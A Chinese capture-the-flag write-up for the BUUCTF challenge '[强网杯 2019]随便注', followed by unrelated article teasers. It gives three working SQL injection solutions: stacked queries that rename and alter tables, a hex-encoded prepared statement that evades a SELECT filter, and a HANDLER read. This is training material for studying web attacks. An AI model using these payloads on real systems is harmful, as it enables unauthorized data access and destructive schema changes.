buuctf[强网杯 2019]随便注 1(超详细,三种解法)

news2024/10/7 17:24:24

第一种解法 堆叠注入

网页环境
image.png
判断是否是字符型注入
1'
image.png
判断是否存在关键字过滤
select
image.png
联合查询被过滤,只能用堆叠注入了
查看有几个字段
1' order by 2#
image.png
正常回显
1' order by 3#image.png
回显报错,可以看出只有两个字段
查看所有数据库
1'; show databases;
image.png
查看所有数据表
1'; show tables;
image.png
爆words数据表的字段
1';show columns from words;#image.png
爆1919810931114514数据表字段(注意数据表为数字的时候需要用反引号括起来)
1';show columns from 1919810931114514;#
image.png
可以看到这两个表words表有两个字段,而另一个只有一个字段
后台SQL查询语句应该是:
select * from words where id=
所以说只能先查询id字段,然而另一个表只有一个flag字段是肯定爆不了flag的,并且类型为varchar字符串类型,而恰巧words数据表里面的data也是varchar类型,因此从这里就可以得到做题思路,通过rename函数进行改表,把1919810931114514改为words,增加新字段id,将flag改为data,将刚开始那个words表改为其他任意表。
构造payload:
1';rename table words to BaiMao;rename table 1919810931114514 to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#

rename修改表名
alter修改已知的列
add增加
int整数类型
unsigned无符号类型
not null- 指示某列不能存储 NULL 值。
primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。
auto_increment-自动赋值,默认从1开始。

成功回显flag:
image.png
注意没有回显flag,就类似于你更新了个东西但是没刷新,重新在文本框里面输入1提交即可回显flag。

第二种解法 编码逃逸 绕过滤

由于select被过滤,考虑使用编码进行绕过
使用select查询就很简单了
构造payload
select *from where 1919810931114514``(注意这里使用反引号把这个数字包括住,md编辑器打不上去)
*号查询数据表里面的全部内容,这就是爆出flag的原理
进行16进制编码加密
73656c656374202a2066726f6d20603139313938313039333131313435313460
最终payload:
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

  • prepare…from…是预处理语句,会进行编码转换。
  • execute用来执行由SQLPrepare创建的SQL语句。
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
  • 0x就是把后面的编码格式转换成16进制编码格式
  • 那么总体理解就是,使用SeT方法给变量a赋值,给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值,execsql方法执行来自a变量的值,prepare…from方法将执行后的编码变换成字符串格式,execute方法调用并执行execsql方法。
    参考:https://blog.csdn.net/qq_44657899/article/details/10323914

回显flag:
image.png

第三种解法 handler代替select

select命令被过滤了怎么办?我们还可以用handler命令进行查看,handler命令可以一行一行的显示数据表中的内容。
构造payload:
1'; handler 1919810931114514open asa; handler a read next;#

handler代替select,以一行一行显示内容
open打开表
as更改表的别名为a
read next读取数据文件内的数据次数

上传payload,回显flag:
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1136210.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python,pandas ,openpyxl提取excel特定数据,合并单元格合并列,设置表格格式,设置字体颜色,

python,pandas ,openpyxl提取excel特定数据,合并单元格合并列,设置表格格式,设置字体颜色, 代码 import osimport numpy import pandas as pd import openpyxl from openpyxl.styles import Font from op…

数字音频工作站软件 Ableton Live 11 mac中文软件特点与功能

Ableton Live 11 mac是一款数字音频工作站软件,用于音乐制作、录音、混音和现场演出。它由Ableton公司开发,是一款极其流行的音乐制作软件之一。 Ableton Live 11 mac软件特点和功能 Comping功能:Live 11增加了Comping功能,允许用…

详解:飞讯是如何助力集团型制造企业实现数字化转型的

飞讯软件成立17年来,成功服务了上百家自动化装备及零部件制造企业,对这类企业的业务特点和痛点非常熟悉。在解决企业数字化转型挑战方面,我们拥有丰富的经验和技术平台优势。因此,于2022年我们与东莞一家大型自动化装备制造企业正…

Fuzz测试:自动化测试软件隐患和漏洞的秘密武器

0x01 什么是模糊测试 模糊测试(Fuzz Testing)是一种广泛用于软件安全和质量测试的自动化测试方法。它的基本思想是向输入参数或数据中注入随机、不规则或异常的数据,以检测目标程序或系统在处理不合法、不正常或边缘情况下的行为。模糊测试通…

Egg.js使用MySql数据库

最近在接手一个项目,vuenuxtegg,我也是刚开始学习egg.js,所以会将自己踩的坑都记录下来。 安装mysql 使用sequelize连接数据库,首先安装egg-sequelize和mysql2。 npm install --save egg-sequelize mysql2打开package.json文件…

优思学院|中质协六西格玛考试形式是什么样的?

中质协的考试形式主要为单选和多选题,近年也有加了一小部分填空题,和国际认证考试有很大区别,因为美质协(ASQ)、国际精益六西格玛研究所(ILSSI),又或者著名的PMP项目管理认证等都是采…

day51 --动态规划10

121. 买卖股票的最佳时机 122.买卖股票的最佳时机II 第一题:买卖股票的最佳时机 给定一个数组 prices ,它的第 i 个元素 prices[i] 表示一支给定股票第 i 天的价格。 你只能选择 某一天 买入这只股票,并选择在 未来的某一个不同的日子 卖出…

Phthon下载库函数

在代码中使用import tushare as ts导入时编译会报错找不到tushare,此时则表示本地没有相应的库函数包 打开安装python的目录,找到pip.exe文件目录,例如D:\Python\Python311\Scripts,文件夹右键->在终端打开,输入pi…

RPC远程调用加密方法获取返回值

前言 从混淆的加密JS中还原了加密参数的具体生成流程,结果想从JS转python的过程中第一步就卡住了。开头密钥JS代码如下,但是水平有限不知道如何转为python实现(如果有大佬知道希望可以评论指点)。利用execjsjsdom来执行简化还原后的JS代码依旧无法实现。…

云游数智农业世界,体验北斗时空智能

今日,2023年中国国际农业机械展览会在武汉正式拉开帷幕,众多与会者云集,各类农机产品纷呈,盛况空前。 千寻位置作为国家北斗地基增强系统的建设与运营方,在中国国际农业机械展览会上亮相,以「北斗时空智能 …

基于pyenv和virtualenv搭建python多版本虚拟环境

pyenv简介 由于Python的依赖是基于site的,这对于生产环境来说,是一种简单而正确的方式,然而,对于我们的开发环境,基于这样的管理方式,带来了可怕的第三方依赖管理的难题,virtualenv适时出现了&a…

【AICFD案例教程】锥形燃烧器燃烧仿真

AICFD是由天洑软件自主研发的通用智能热流体仿真软件,用于高效解决能源动力、船舶海洋、电子设备和车辆运载等领域复杂的流动和传热问题。软件涵盖了从建模、仿真到结果处理完整仿真分析流程,帮助工业企业建立设计、仿真和优化相结合的一体化流程&#x…

Linux入门攻坚——5、find,locate,特殊权限,磁盘管理初识

文件查找:在文件系统上查找符合条件的文件。 工具:locate——非实时查找(数据库查找,基于索引,索引需要维护,有间隔,所以有不一致的情况存在)。find——实时查找 locate&#xff1…

Leetcode—26.删除有序数组中的重复项【简单】

2023每日刷题&#xff08;十&#xff09; Leetcode—26.删除有序数组中的重复项 双指针法实现代码 int removeDuplicates(int* nums, int numsSize){int i 0;int j 1;while(j < numsSize) {if(nums[j] ! nums[i]) {nums[i] nums[j];}j;}return i 1; } 运行结果 之后我…

算法通关村第19关【黄金】| 继续盘点高频动态规划dp问题

回文串专题 1.最长回文串 思路&#xff1a; 确定dp&#xff1a;dp[i][j]子串是否是回文串 确定递推公式&#xff1a; 例如&#xff1a;aa|cbc|aa dp[2][4] dp[3][3] true 如果s[i] s[j] 那么 dp[i][j] dp[i1][j-1]否则dp[i][j] false 确定初始化&#xff1a;dp[i][i] …

Ubuntu ARMv8编译Qt源码以及QtCreator

最近需要在NVIDIA小盒子上面跑一个程序&#xff0c;一开始想着在Ubuntu x64下交叉编译一版&#xff0c;后来发现libqxcb.so 这个库在configure时就会一直报错&#xff0c;多方查找怀疑可能是由于硬件不支持在x64环境下编译AMR架构的xcb库。 所以最后在ARM下直接编译Qt源码了&am…

ONNX: export failure ❌ 0.0s: Unsupported ONNX opset version: 17

python export.py --weights runs/train/exp6/weights/best.pt --include onnx yolov5 训练好的pt文件导出onnx 导出失败 异常信息&#xff1a; Fusing layers… YOLOv5s summary: 157 layers, 7012822 parameters, 0 gradients, 15.8 GFLOPs PyTorch: starting from runs/tra…

vue中时间控件

//组件 <template><div class"home-time"><div class"tab"><el-radio-group v-model"radio" change"radioChange"><el-radio-button label"1">天</el-radio-button><el-radio-butto…

蕉下冲锋衣:过冬利器还是昙花一现?

“双11”前夕&#xff0c;靠防晒单品小黑伞起家的蕉下上新“过冬”产品冲锋衣。 此前&#xff0c;蕉下于2022年4月和10月分别向港交所递交招股书&#xff0c;拟冲刺“中国城市户外第一股”&#xff1b;截止目前&#xff0c;其IPO申请状态已转为“失效”。 「不二研究」据蕉下…

记一次 .Net+SqlSugar 查询超时的问题排查过程

环境和版本&#xff1a;.Net 6 SqlSuger 5.1.4.* &#xff0c;数据库是mysql 5.7 &#xff0c;数据量在2000多条左右 业务是一个非常简单的查询&#xff0c;代码如下&#xff1a; var list _dbClient.Queryable<tb_name>().ToList(); tb_name 下配置了一对多的关系…